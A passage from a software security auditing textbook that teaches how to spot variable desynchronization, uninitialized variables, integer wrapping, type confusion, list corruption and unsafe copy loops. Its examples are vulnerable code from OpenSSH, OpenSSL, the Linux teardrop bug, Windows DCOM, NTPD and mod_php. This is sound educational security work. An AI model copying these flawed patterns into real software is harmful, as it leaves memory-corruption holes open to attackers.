causes: There are places when characters can be written to an output buffer despite skipping mode being on, and the lev variables aren't incremented and decremented equally by characters enclosing an address component, such as (and), when skipping mode is on. When you begin to examine a new function, it's a good idea to go through the code quickly and identify any relationships such as this one in the function. Then make one pass to see whether any variables can be desynchronized. A well-designed application tends to keep variable relationships to a minimum. Developers often conceal complex relationships in separate subsystems so that the internals aren't exposed to callers; concealing variables in this manner is known as data hiding and is generally considered good programming form. However, data hiding can make your job harder by spreading complex relationships across multiple files and functions. Examples of data hiding include private variables in a C++ class and the buffer management subsystem in OpenSSH. You see an example in the next section of a desynchronization vulnerability in this buffer management subsystem. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 324 Structure and Object Mismanagement Applications often use large structures to manage program and session state, and group related data elements. Indeed, the essence of object-oriented programming encourages this behavior, so code reviewers are often confronted with code that makes extensive use of opaque objects or structures, which are often manipulated through insufficiently documented interfaces. Code reviewers must familiarize themselves with these interfaces to learn the purpose of objects and their constituent members. As discussed in the previous section, the more related variables there are in a part of an application, the higher the likelihood for an inconsistent state error. One goal of auditing object-oriented code should be to determine whether it's possible to desynchronize related structure members or leave them in an unexpected or inconsistent state to cause the application to perform some sort of unanticipated operation. For example, OpenSSH makes extensive use of dynamic resizable data buffers throughout the application. The routine responsible for initializing the buffer structure, buffer_init(), is shown in Listing 7-4. Listing 7-4. OpenSSH 3.6.1 Buffer Corruption Vulnerability /* Initializes the buffer structure. */ void buffer_init(Buffer *buffer) { buffer->alloc = 4096; buffer->buf = xmalloc(buffer->alloc); buffer->offset = 0; buffer->end = 0; } From this, you can deduce that the buf and alloc variable share a relationship: The alloc member should always represent the amount of bytes allocated in the buffer. By examining the other buffer_* functions, you can deduce several more relationshipsnamely, that offset and end are offsets into a buffer, and both must be less than alloc, and offset should be less than end. If these relationships are not followed, the code might contain integer underflow problems. Therefore, when reviewing this application, you must determine whether any of these variable relationships can be violated, as the resulting inconsistent state could cause a buffer overflow. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 325 In this code, two variables could become desynchronized in one instance: the buf and alloc variables. This problem occurs in buffer_append_space(), which is shown in the following code: /* * Appends space to the buffer, expanding the buffer if * necessary. This does not actually copy the data into the * buffer, but instead returns a pointer to the allocated * region. */ void * buffer_append_space(Buffer *buffer, u_int len) { void *p; if (len > 0x100000) fatal("buffer_append_space: len %u not supported", len); /* If the buffer is empty, start using it from the beginning. */ if (buffer->offset == buffer->end) { buffer->offset = 0; buffer->end = 0; } restart: /* If there is enough space to store all data, store it now. */ if (buffer->end + len < buffer->alloc) { p = buffer->buf + buffer->end; buffer->end += len; return p; } /* * If the buffer is quite empty, but all data is at * the end, move the data to the beginning and retry. */ if (buffer->offset > buffer->alloc / 2) { memmove(buffer->buf, buffer->buf + buffer->offset, buffer->end - buffer->offset); buffer->end -= buffer->offset; buffer->offset = 0; goto restart; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 326 /* Increase the size of the buffer and retry. */ buffer->alloc += len + 32768; if (buffer->alloc > 0xa00000) fatal("buffer_append_space: alloc %u not supported", buffer->alloc); buffer->buf = xrealloc(buffer->buf, buffer->alloc); goto restart; /* NOTREACHED */ } The alloc variable is incremented by a certain amount, thus making it inconsistent with the amount of data that was allocated in buf. Afterward, buf is reallocated so that the structure is consistent when it's returned to the calling function, but the developer didn't consider the implications of the xrealloc() function failing or the length check of alloc against the constant value 0xa00000 failing. Both failures result in the fatal() function being called eventually. If the length check fails or xrealloc() fails, fatal() is called immediately. The xrealloc() implementation is shown in the following code: void * xrealloc(void *ptr, size_t new_size) { void *new_ptr; if (new_size == 0) fatal("xrealloc: zero size"); if (ptr == NULL) new_ptr = malloc(new_size); else new_ptr = realloc(ptr, new_size); if (new_ptr == NULL) fatal("xrealloc: out of memory (new_size %lu bytes)", (u_long) new_size); return new_ptr; } You can see that xrealloc() also calls fatal() upon failure. Further investigation reveals that the fatal() function cleans up several global variables, including buffers used for handling data input and output with the buffer_free() routine, which is shown here: /* Frees any memory used for the buffer. */ void The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 327 buffer_free(Buffer *buffer) { memset(buffer->buf, 0, buffer->alloc); xfree(buffer->buf); } Therefore, if an allocation fails or the inbuilt size threshold is reached, and the buffer being resized is one of those global variables, the memset() function in buffer_free() writes a large amount of data past the end of the allocated buffer. Several other cleanup functions are subsequently called, allowing an opportunity for exploitation. This example highlights how structure mismanagement bugs tend to be quite subtle, as the code to manage structures is spread out into several small functions that are individually quite simple. Therefore, any vulnerabilities tend to be a result of aggregate, emergent behavior occurring across multiple functions. One major problem area in this structure management code is low-level language issues, such as type conversion, negative values, arithmetic boundaries, and pointer arithmetic (discussed in Chapter 6(? [????.]), "C Language Issues"). The reason is that management code tends to perform a lot of length calculations and comparisons. Recall the OpenSSL example of dealing with arithmetic boundaries (see Listing 7-10). You were able to pass a negative value to the BUF_MEM_grow() function, which is responsible for buffer management in the OpenSSL libraries. Listing 7-5 shows the internals of how that function works. Listing 7-5. OpenSSL BUF_MEM_grow() Signed Variable Desynchronization typedef struct buf_mem_st { int length; /* current number of bytes */ char *data; int max; /* size of buffer */ } BUF_MEM; ... int BUF_MEM_grow(BUF_MEM *str, int len) { char *ret; unsigned int n; if (str->length >= len) { str->length=len; return(len); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 328 } if (str->max >= len) { memset(&str->data[str->length],0, len-str->length); str->length=len; return(len); } n=(len+3)/3*4; if (str->data == NULL) ret=OPENSSL_malloc(n); else ret=OPENSSL_realloc(str->data,n); if (ret == NULL) { BUFerr(BUF_F_BUF_MEM_GROW,ERR_R_MALLOC_FAILURE); len=0; } else { str->data=ret; str->length=len; str->max=n; } return(len); } As you can see, this structure represents lengths with signed integers. The code is quite dangerous in this context, as all comparisons in the function aren't taking negative values into account correctly. You can see that if this function receives a negative length value, the first comparison succeeds, and the program erroneously determines that enough free space already exists in the currently allocated buffer. Code reviewers must look for any place where a negative length could be supplied to this function because doing so would desynchronize data from length. Naturally, when reviewing object-oriented code (such as C++ or Java applications), related variables are often sorted into classes. You have already looked at simple inconsistencies in objects related to uninitialized variables; however, a broader range of concerns stem from an object being left in an inconsistent state. The process for finding these vulnerabilities is similar to the OpenSSH example: Identify the manner in which variables relate to each other, and attempt to determine whether a code path exists in which these variables can be updated in an unexpected way. Implicit member functions are a major component of object-oriented languages, and code The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 329 auditors will likely find more potential for subtle vulnerabilities caused by incorrect assumptions about the behavior of implicit member functions, such as overloaded operators. Auditing Tip Determine what each variable in the definition means and how each variable relates to the others. After you understand the relationships, check the member functions or interface functions to determine whether inconsistencies could occur in identified variable relationships. To do this, identify code paths in which one variable is updated and the other one isn't. Variable Initialization Occasionally, programmers make the mistake of reading a value from a variable before it has been initialized. This happens primarily in two circumstances:  The programmer intended for the variable to be initialized at the beginning of the function but forgot to specify an initializer during the declaration.  A code path exists where the variable is accidentally used without ever being initialized. A variable initialization error results in uninitialized (and, therefore, undefined) data from a location in memory where the variable resides (typically, the program stack or heap) being interpreted and given meaning. In many cases, attackers can influence these memory areas and take advantage of the error to gain control of the process containing the offending code. In any event, unexpected data presents the opportunity to take unexpected code paths, which often has undesirable results. Listing 7-6 is a simple example. Listing 7-6. Uninitialized Variable Usage int login(char *login_string) { char *user, *style, *ptr; ptr = strchr(login_string, ':'); if(ptr){ *ptr = '\0'; user = strdup(login_string); style = strdup(ptr+1); *ptr = ':'; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 330 } else user = strdup(login_string); ... if(style){ ... } } Listing 7-6 accepts a login string containing a username and an optional login style identified by a colon in the login string. The code later takes an alternative code path based on the supplied login style. The problem is that if no style is supplied, the style variable never gets initialized, and accesses to it read random data from the program stack. With careful manipulation, attackers could influence the values that uninitialized variables take. Attacking this vulnerability is possible, although quite complex; attackers need to work out the order in which functions are called and their relative stack depththat is, if function X calls function Y followed by function Z, the local variables from function Y are left on the stack in roughly the same place where the function Z allocates space for its local variables. Most vulnerabilities of this nature occur when a function takes an abnormal code path. Functions that allocate a number of objects commonly have an epilogue that cleans up objects to avoid memory leaks when an error occurs. Consider the code in Listing 7-7. Listing 7-7. Uninitialized Memory Buffer int process_data(int sockfd) { char *buf; struct descriptor *desc; ... if(read_data(sockfd) < 0) goto err; ... allocate buf and desc and process data normally ... return 0; err: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 331 if(buf) free(buf); if(desc) free_descriptor(desc); return 1; } If an error occurs during the call to read_data(), the buffer buf isn't allocated, nor is struct descriptor *desc. However, they are still freed in the err condition, potentially creating an exploitable situation. When auditing C++ code, pay close attention to member variables in objects, as unexpected code paths can leave objects in an inconsistent or partially uninitialized state. The best way to begin examining this code is usually by looking at constructor functions to see whether any constructors neglect to initialize certain elements of the object. Listing 7-8 shows a simple example. Listing 7-8. Uninitialized Object Attributes class netobj { private: char *data; size_t datalen; public: netobj() { datalen = 0; } ~netobj() { free(data); } getdata() { return data; } int setdata(char *d, int n) { if(!(data = (char *)malloc(n))) return -1; memcpy(data, d, n); } ... } ... int get_object(int fd) { char buf[1024]; netobj obj; int n; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 332 if((n = read(fd, buf, sizeof(buf))) < 0) return -1; obj.setdata(buf, n); ... return 0; } The example has an obvious problem: The constructor never initializes its data member. Therefore, if the call to read() fails, the destructor is automatically called during the function epilogue. The default destructor for this object then calls the free() function on the data member, which is an arbitrary value because it was never initialized, as obj.setdata() was never called. This example illustrates an important point: Bugs of this nature occurring in C++ applications can be far more subtle, as many operations occur implicitly. Code reviewers need to be mindful of these implicit operations (such as constructor/destructor calls, overloaded operators, and so on) when evaluating a piece of code. Auditing Tip When variables are read, determine whether a code path exists in which the variable is not initialized with a value. Pay close attention to cleanup epilogues that are jumped to from multiple locations in a function, as they are the most likely places where vulnerabilities of this nature might occur. Also, watch out for functions that assume variables are initialized elsewhere in the program. When you find this type of code, attempt to determine whether there's a way to call functions making these assumptions at points when those assumptions are incorrect. Arithmetic Boundaries Arithmetic boundaries are presented at length in Chapter 6(? [????.]). However, when auditing variable use you will find it helpful to have a structured process for identifying these vulnerabilities. The following three steps provide a good plan of attack: 1. Discover operations that, if a boundary condition could be triggered, would have security-related consequences (primarily length-based calculations and comparisons). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 333 2. Determine a set of values for each operand that trigger the relevant arithmetic boundary wrap. 3. Determine whether this code path can be reached with values within the set determined in step 2. The first step is usually simple. For auditors, it's common sense to determine whether an arithmetic operation would adversely affect an application. In some respects, any operation that can be undermined is detrimental to an application; however, problems should be considered in terms of severity, ranging from basic bugs to vulnerabilities that represent an imminent danger if exploited. You must also consider the context of the miscalculation. Depending on the nature of the application, an attacker might not be interested in a typical buffer length miscalculation. For example, a bank application that doesn't adequately handle negative values in transactions is potentially even more dangerous than a memory corruption vulnerability. After problem areas have been identified, step 2 requires finding a problem domainthat is, a set of values that could trigger the arithmetic boundary conditions. For example, the following code line performs a length check before a data copy: if (length + 32 > sizeof(buffer)) Assuming length is a 32-bit unsigned value, you can see that an integer wrap circumvents this check when length contains a value between 0xFFFFFFE0 and 0xFFFFFFFF. Calculations involving multiple variables often have problem domains that aren't a continuous set of values, as shown in the following expression: if(length1 + length2 > sizeof(buffer)) In this example, the length check can be evaded as long as the sum of length1 and length2 overflow the zero boundary. It does not matter which variable takes a large value (or if both do), as long as both add up to a value larger than 0xFFFFFFFF. When assessing problems like these, you should record the location of the problem case, and then revisit it when you have some idea of the constraints placed on each variable. Finally, in step 3, you need to determine whether the code path can be reached when variables contain values within the problem domain. You can perform this step in a fairly straightforward manner:  Identify the data type of the variable involved Identifying the data type allows you to define an initial set of values the variable can take. If a problem domain The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 334 is 0xFFFFFFE0 through 0xFFFFFFFF, but the variable is a 16-bit unsigned integer, you can automatically discount the check because the variable can never take the values of the domain in question. (Note the use of unsigned: A signed 16-bit variable can take values in the problem domain if certain type conversions occur during the check.)  Determine the points at which the variable is assigned a value The next step is to identify where and how the variable is given a value. Pay attention to what default values the parameter can take, and note any special configurations that might make the application vulnerable. You also need to trace the values of other variables that are assigned to the suspect variable. If none of the assigned values can overlap with the problem domain, the operation can be marked as safe.  Determine the constraints on the variable from assignment until the vulnerable operation Now that you know an initial set of values and possible assignments, you must determine any restrictions placed on the variable in the vulnerable code path. Often the variable goes through a number of validation checks, which reduce the set of values the variable can take. You need to trace the variable through its use and determine what values are included in this reduced setknown as the validated domain. Any overlap between the problem domain and the validated domain represents vulnerability.  Determine supporting code path constraints In addition to the variable used in the vulnerable operation, other variables can play an important role in triggering the bug. You should record these additional variables and what values can lead to vulnerable code paths. Now that you understand how to identify arithmetic boundary conditions, try applying the process to the vulnerable code path in Listings 7-9 and 7-10. Listing 7-9. Arithmetic Vulnerability Example #define BLOB_MAX 1024 unsigned char *read_blob(unsigned char *blob, size_t pktlen) { int bloblen; unsigned char *buffer; bloblen = ntohl(blob); if(bloblen + sizeof(long) > pktlen || bloblen > BLOB_MAX) return NULL; buffer = alloc(bloblen); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 335 if(!buffer) return NULL; memcpy(buffer, blob+4, bloblen); return buffer; } For the purposes of this discussion, assume that the alloc() function in Listing 7-9 is vulnerable to an integer overflow condition, and you want to identify an exploitable path to this function. To do this, you must first determine how to evade the length comparison performed by the bolded code line. On the left side of the comparison, bloblen needs to take on a value that, after the addition of 4, is less than pktlen. Even though bloblen is signed, it's converted to an unsigned integer for the left side of this comparison. This leaves you with a small problem domain: 0xFFFFFFFC through 0xFFFFFFFF (-4 through -1). On the right side of the comparison, bloblen is treated as signed, so the problem domain is unchanged. To determine whether this function is vulnerable, you need to see how it's called, which is shown in Listing 7-10. Note The discussion of Listing 7-9 assumes a call to alloc() is vulnerable to an integer wrapping condition. In a real application, you would review alloc() and determine if this is the case, but it is a reasonable assumption. Custom allocation wrappers are often prone to a variety of arithmetic issues, as covered in "Auditing Memory Management(? [????.])," later in this chapter. Listing 7-10. Arithmetic Vulnerability Example in the Parent Function int process_packet(unsigned char *pkt, size_t pktlen) { unsigned int length = 0; int type = 0; unsigned char *data; type = pkt[0]; switch(type){ case TYPE_KEY: length = ntohl(&pkt[1]); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 336 if(length != RSA_KEY_SIZE) return -1; data = read_blob(&pkt[1], pktlen); ... break; case TYPE_USER: data = read_blob(&pkt[1], pktlen); ... default: return -1; } There are two calls to read_blob() in Listing 7-10. When type is TYPE_KEY, the length variable is checked against RSA_KEY_SIZE, and returns with an error if it doesn't match. This means the validated domain is only one valueRSA_KEY_SIZEand is unlikely to overlap the problem domain. Therefore, the call to read_blob() is safe in this location. When type is TYPE_USER, however, no such restrictions exist. Therefore, the validated domain is 0x00000000 through 0xFFFFFFFF, so there's an overlap! All values in the problem domain are within the validated domain, so you can say with confidence that this comparison can be evaded. These are the only constraints you have:  type == TYPE_USER  length (from the read_blob function) + sizeof(long) is less than pktlen (so you probably want pktlen to be larger than 4) Type Confusion The union-derived data type is used to store multiple data elements at the same location in memory. The intended purpose for this type of storage is that each of the data elements are mutually exclusive, and only one of them can be in use at a time. Union data types are most commonly used when structures or objects are required to represent multiple data types depending on an external condition, such as representing different opaque objects read off the network. Occasionally, application developers confuse what the data in a union represents. This can have disastrous consequences on an application, particularly when integer data types are confused with pointer data types, or complex structures of one type are confused with another. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 337 Although this mistake seems unlikely, it has shown up in at least one widely deployed application. Most vulnerabilities of this nature stem from misinterpreting a variable used to define what kind of data the structure contains. Listing 7-11 shows a brief example. Listing 7-11. Type Confusion struct object { int type; union { int num; char *str; void *opaque; } u; } struct object *object_read(int sockfd) { int ret; struct object *obj; if(!(obj = (struct object *)calloc(1, sizeof(struct object)))) die("calloc: %m"); obj->type = get_type(sockfd); switch(obj->type & 0xFF){ case OBJ_NUM: ret = read_number(sockfd, &(obj->u.num)); break; case OBJ_STR: ret = read_string(sockfd, &(obj->u.str)); break; default: ret = read_opaque(sockfd, &(obj->u.opaque)); } if(ret < 0){ free(obj); return NULL; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 338 return obj; } int object_free(struct object *obj) { if(!obj) return -1; switch(obj->type){ case OBJ_NUM: break; case OBJ_STR: free_string(obj->u.str); break; default: free_opaque(obj->u.opaque); } free(obj); return 0; } Listing 7-11 shows an interface for reading objects of some form off the network. Notice the small differences between the way objects are initialized and the way they are cleaned up. The type variable is a 32-bit integer read in from the network, yet only the lower 8 bits are examined during object initialization. When the object is cleaned up, all 32 bits are examined. Therefore, if a 32-bit integer type is supplied with the low bits equaling OBJ_NUM and the higher bits not all set to zero, a user-controlled integer is passed to the free_opaque() function and treated as a memory location, most likely resulting in a call to free() on an arbitrary memory location. Lists and Tables Linked lists and hash tables are often used in applications to keep a collection of data elements in a form that's easy to retrieve and manipulate. Some common errors are made when implementing routines that add and modify these data structures, and these mistakes can lead to inconsistencies in data structures. Attackers could take advantage of these inconsistencies to force an application into performing operations it wasn't intended to. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 339 Linked lists are used frequently for storing related data elements that need to be looked up or modified later in the program. Linked lists can be singly linked or doubly linked. Singly linked lists are those in which elements contain a pointer to the next element in the list; doubly linked lists elements contain pointers to both the next and previous elements in the list. In addition, linked lists can be circular, meaning the last element of the list links back to the first element; for doubly linked lists, the previous pointer of the first element links back to the last element. When auditing code that makes use of linked lists, you should examine how well the algorithm implements the list and how it deals with boundary conditions when accessing elements of these lists. Each of these points (discussed in the following sections) needs to be addressed:  Does the algorithm deal correctly with manipulating list elements when the list is empty?  What are the implications of duplicate elements?  Do previous and next pointers always get updated correctly?  Are data ranges accounted for correctly? Manipulating List Elements in Empty Lists Often, list structure members or global variables are used to point to the head of a list and potentially the tail of the list. If the code reviewer can find a case where these variables aren't updated correctly, there's the possibility for outdated elements or undefined data to be references as though they were part of the list. For example, consider the code in Listing 7-12. Listing 7-12. Empty List Vulnerabilities /* head and tail elements of a doubly linked, noncircular list */ struct member *head, *tail; int delete_element(unsigned int key) { struct member *tmp; for(tmp = head; tmp; tmp = tmp->next){ if(tmp->key == key){ if(tmp->prev) tmp->prev->next = tmp->next; if(tmp->next) tmp->next->prev = tmp->prev; free(tmp); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 340 return 1; } } return 0; } The deletion code in Listing 7-12 has an obvious omission: If the head or tail elements are deleted, this deletion isn't accounted for in the delete_element() function. Because the head and tail global variables aren't updated, the first or last element can be deleted with this function and then accessed by any code manipulating the head or tail pointers. Code that doesn't deal with head and tail elements correctly isn't common, but it can occur, particularly when list management is decentralized (that is, there's no clean interface for list management, so management happens haphazardly at different points in the code). Some implementations initialize the list with blank head and/or tail elements, often called sentinel nodes (or sentinels). Sentinel nodes are used largely for convenience so that code doesn't need to specifically deal with instances of the list being empty, as sentinel nodes always have at least one element. If users can add data elements that appear to the program to be sentinels or cause sentinels to be deleted, the list management code might be susceptible to vulnerabilities stemming from code misinterpreting where the head or tail of the list is. Duplicate Elements Depending on the nature of the data being stored, duplicate elements can cause problems. Elements containing identical keys (data values used to characterize the structure as unique) could cause the two elements to get confused, resulting in the wrong element being selected from the list. This error might have interesting consequences; for example, sessions uniquely identified by a cookie could become confused if two or more clients supplied identical cookies. This confusion could lead to some sort of information leak, elevation of privilege, or other compromise. Previous and Next Pointer Updates Implementation flaws in deleting and inserting elements may prevent the previous and next pointers from being updated correctly. This is especially true if the program treats the current member as the head or tail of a list. Listing 7-13 shows a potential issue that occurs when updating list elements. Listing 7-13. List Pointer Update Error The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 341 struct member *head, *tail; int delete_element(unsigned int key) { struct member *tmp; for(tmp = head; tmp; tmp = tmp->next){ if(tmp->key == key){ if(tmp->prev) tmp->prev->next = tmp->next; if(tmp->next) tmp->next->prev = tmp->prev; if(tmp == head) head = tmp->next; else if(tmp == tail) tail = tmp->prev; free(tmp); return 1; } } return 0; } The code in Listing 7-13 has a small error when updating the head and tail elements. If only one element exists in the list, both the head and the tail element point to it, yet you can see in the code that an else statement is used when testing whether the element is the head or tail. Therefore, if a single element exists in the list and is deleted, the head element is updated correctly to be NULL; however, the tail element points to the outdated element. Data Ranges In ordered lists, the elements are sorted into some type of order based on a data member that distinguishes each list element. Often each data element in the list represents a range of values, such as part of an IP datagram in an IP fragment queue or memory ranges in kernel control structures for processes. The code used to implement this seemingly simple data structure can be quite complex, particularly when you have to take the following nuances of the data into account: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 342  Can overlapping data ranges be supplied?  Can replacement data ranges (duplicate elements) be supplied?  Does old or new data take precedence?  What happens when 0 length data ranges are supplied? These details, if not handled correctly, can result in logic flaws in processing data or inconsistencies in the list data structures. The most likely result of this oversight is an exploitable memory corruption condition. Listing 7-14 is code from the Linux kernelthe infamous teardrop bug. It shows how overlapping data ranges can be processed incorrectly, resulting in a vulnerability. Listing 7-14. Linux Teardrop Vulnerability /* * We found where to put this one. * Check for overlap with preceding fragment, * and, if needed, align things so that any * overlaps are eliminated. */ if (prev != NULL && offset < prev->end) { i = prev->end - offset; offset += i; /* ptr into datagram */ ptr += i; /* ptr into fragment data */ } ... /* Fill in the structure. */ fp->offset = offset; fp->end = end; fp->len = end - offset; This code processes incoming IP fragments to be placed into a queue with other fragments that are part of the same IP datagram. The offset variable represents the offset into the complete datagram where the current fragment begins. The end variable is the offset into the complete datagram where the current fragment ends, calculated by adding the starting offset of the fragment and its length. The IP code cycles through a list of fragments and breaks out when it finds the right place in the list to insert the incoming IP fragment. If there's any overlap between two fragments, the current fragment is shrunk so that only unaccounted for data ranges are added to the queue, and the overlapping data is discarded. An "overlap" in this situation means that two fragments or more partially or fully supply duplicate data ranges. For example, if one fragment supplies data from offset 1030, and another specifies 2040, they overlap because both fragments specify data from the offset 2030. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 343 The vulnerability in this code occurs during the process of shrinking the current fragment; the code is written with the assumption that end is greater than or equal to prev->end. If this isn't the case, offset is incremented to become larger than end. As a result, the fp->len variable is set to a negative value, which is later used as an argument to memcpy(), resulting in a buffer overflow. Hashing Algorithms Hash tables are another popular data structure, typically used for speedy access to data elements. A hash table is often implemented as an array of linked lists, so the previous discussion on list management is relevant to hash tables as well. Hash tables use the list element as input to a hash function (hash functions are discussed in Chapter 2(? [????.]), "Design Review"). The resulting hash value is used as an index to an array. When dealing with hash tables, code auditors must address these additional questions:  Is the hashing algorithm susceptible to invalid results? Most hashing algorithms attempt to guarantee that the result lies within a certain range (the array size) by performing an operation and then using the modulus or and operator on the result. As discussed in Chapter 6(? [????.]), one potential attack vector is forcing the modulus operator to return negative results. This result would allow negative indexing into the array used to store elements. Additionally, code reviewers must evaluate the consequences if data elements can be influenced in such a way that many collisions could occur. Often this problem causes a slowdown in lookups, which can be a major problem if the application is time critical.  What are the implications of invalidating elements? Several algorithms that store many data elements can invalidate members based on certain conditions, such as timeouts or memory threshold limits reached. This pruning can sometimes have unexpected consequences. As with lists, code auditors must determine whether invalidated elements could be unlinked from the table incorrectly, resulting in the application potentially using outdated elements later. Invalidating elements in a predictable manner can have other interesting consequences, such as causing an application with several session data elements to delete valid sessions, resulting in a denial-of-service condition. 7.3.3 Auditing Control Flow As you learned in Chapter 4(? [????.]), "Application Review Process," control flow refers to the manner in which a processor carries out a certain sequence of instructions. Programming languages have several constructs that enable programmers to branch to different code paths based on a condition, repeat The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 344 instructions over a number of iterations, and call subroutines (directly or indirectly). These constructs are the basic building blocks of programming languages, and every developer is familiar with them. When auditing code, it's interesting to see that these constructs often have similar security vulnerabilitiesnot because programmers don't know how to implement them, but because the application can enter a specific context that isn't accounted for correctly. In this section, you examine loop and switch statement constructs, which govern internal control flow. External control flow is covered in "Auditing Functions(? [????.])" later in this chapter. For now, you focus on how to audit loops and switch-style branches and learn some guidelines on what to look for when evaluating their proper use. Looping Constructs Looping constructs are extremely common and used in every component of application processing, whether it's initializing structures, processing input, interacting with the file system, or deallocating memory. This section focuses on data-processing loops, which are used to interpret user-supplied data and construct some form of output based on the data. This output can range from elements extracted from user input to data derived from the input. These types of loops pose the most immediate security threat to an application. A loop can be constructed incorrectly in a number of ways so that it causes a read or write outside the bounds of the provided data buffers. The following common errors can cause loops to behave in a manner that contradicts the programmer's intentions:  The terminating conditions don't account for destination buffer sizes or don't correctly account for destination sizes in some cases.  The loop is posttest when it should be pretest.  A break or continue statement is missing or incorrectly placed.  Some misplaced punctuation causes the loop to not do what it's supposed to. Any of these conditions can have potentially disastrous consequences for application security, particularly if the loop performs writes to memory in some way. As discussed in Chapter 5(? [????.]), "Memory Corruption," writes stand the most chance of being destructive to other variables or program state information and, consequently, leading to an exploitable situation. Terminating Conditions Application developers are often required to construct loops for processing user-malleable data. These loops must parse and extract data fields, search for occurrences of specific data elements, or store parts of data to a specific destination, such as another memory location or a file. When a loop performs a data copy, it is necessary to verify whether the copy is performed in a safe mannerthat is, there's no way the loop can read or write outside the boundaries of objects being operated on. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 345 Typically, loops that perform these kinds of copies have multiple terminating conditions, which are checks that can cause the loop to exit. A loop might have a terminating condition that checks for successful completion of the copy as well as several terminating conditions that attempt to account for erroneous conditions that might occur during processing. If the set of terminating conditions in a loop don't adequately account for all possible error conditions, or the implementation of the checks is incorrect, the program might be susceptible to compromise in one form or another. When dealing with length calculations, two main problems could occur:  The loops fail to account for a buffer's size.  A size check is made, but it's incorrect. The first problem is fairly easy; no size check is done on input or output data, so if attackers can supply more data than has been allocated for the destination buffer, they can trigger a buffer overflow condition and compromise the application. Listing 7-15 shows a simple example. Listing 7-15. Simple Nonterminating Buffer Overflow Loop int copy(char *dst, char *src) { char *dst0 = dst; while(*src) *dst++ = *src++; *dst++='\0'; return dst dst0; } The code in Listing 7-15 essentially performs the same task as a strcpy() routine: It copies data from src into dst until it encounters a NUL byte. These types of loops are usually quite easy to spot when auditing code and appear quite often in major applications. A notable example is one in the Distributed Component Object Model (DCOM) Object Activation RPC interface in Windows operating systems. This interface has a tightly contained loop in the GetMachineName() function. Listing 7-16 shows approximated C code based on the assembly code. Listing 7-16. MS-RPC DCOM Buffer Overflow Listing GetMachineName(WCHAR *src, WCHAR *dst, int arg_8) { for(src++; *src != (WCHAR)'\'; ) *dst++ = *src++; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 346 ... } As you can see, this buffer overflow is similar to Listing 7-15 and is performing a potentially dangerous copy. Sometimes, however, when you read complex functions containing nested loops, these types of suspect loop constructs can be difficult to spot. Often it's hard to verify whether they present a potential vulnerability. Listing 7-17 from NTPD, the network time protocol (NTP) daemon, demonstrates a more complicated copying loop. Listing 7-17. NTPD Buffer Overflow Example while (cp < reqend && isspace(*cp)) cp++; if (cp == reqend || *cp == ',') { buf[0] = '\0'; *data = buf; if (cp < reqend) cp++; reqpt = cp; return v; } if (*cp == '='while (cp < reqend && *cp != ',') *tp++ = *cp++; if (cp < reqend) cp++; *tp = '\0'; while (isspace(*(tp-1))) *(tp) = '\0'; reqpt = cp; *data = buf; return v; } The code in Listing 7-17 is processing an NTP control packet. It's vulnerable to a buffer overflow, as the destination buffer (pointed to by tp) isn't verified to be large enough to hold input data supplied by users. A lot of the surrounding code is included in the listing to demonstrate how complex code can sometimes make auditing difficult. You might need to make several passes before you understand what the preceding The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 347 function is doing and whether the while loop construct that first appears to be vulnerable can be reached with values that trigger the vulnerability. Auditing Tip When data copies in loops are performed with no size validation, check every code path leading to the dangerous loop and determine whether it can be reached in such a way that the source buffer can be larger than the destination buffer. The second problem in dealing with length calculations, as mentioned at the beginning of this section, is a size check done incorrectly. In recent years, application developers have started to be more careful with looping constructs by putting in length validation as one of the loop's terminating conditions. However, the check is sometimes implemented incorrectly, leaving the application vulnerable to compromise. The first common mistake is an off-by-one error (discussed in Chapter 5(? [????.])). This vulnerability most commonly occurs in string processing, as in the following example: for(i = 0; src[i] && i < sizeof(dst); i++) dst[i] = src[i]; dst[i] = '\0'; Technically, the loop is not at fault here. It writes data to the destination buffer, and it doesn't write outside the bounds of the dst buffer. The statement immediately following it, however, could write one byte past the end of the array. This occurs when the loop terminates because i is equal to the size of the destination buffer buf. In this case, the statement dst[i] = '\0' is then equivalent to dst[sizeof (dst)] = '\0', which writes the NUL one byte past buf's allocated space. This bug is commonly associated with loops of this nature. The previous vulnerability brings up the next interesting behavior to look out for: Occasionally, when loops terminate in an unexpected fashion, variables can be left in an inconsistent state. It's important to determine which variables are influenced by a looping construct and whether any potential exit conditions (typically boundary conditions signifying an error of some sort) leave one of these variables in an inconsistent state. Naturally, this determination is relevant only if the variables are used after the loop completes. Listing 7-18 shows some code taken from mod_php that reads POST data from users. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 348 Listing 7-18. Apache mod_php Nonterminating Buffer Vulnerability SAPI_API SAPI_POST_READER_FUNC(sapi_read_standard_form_data) { int read_bytes; int allocated_bytes=SAPI_POST_BLOCK_SIZE+1; if (SG(request_info).content_length > SG(post_max_size)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "POST Content-Length of %ld bytes exceeds the limit of %ld bytes", SG(request_info).content_length, SG(post_max_size)); return; } SG(request_info).post_data = emalloc(allocated_bytes); for (;;) { read_bytes = sapi_module.read_post( SG(request_info).post_data+SG(read_post_bytes), SAPI_POST_BLOCK_SIZE TSRMLS_CC); if (read_bytes<=0) { break; } 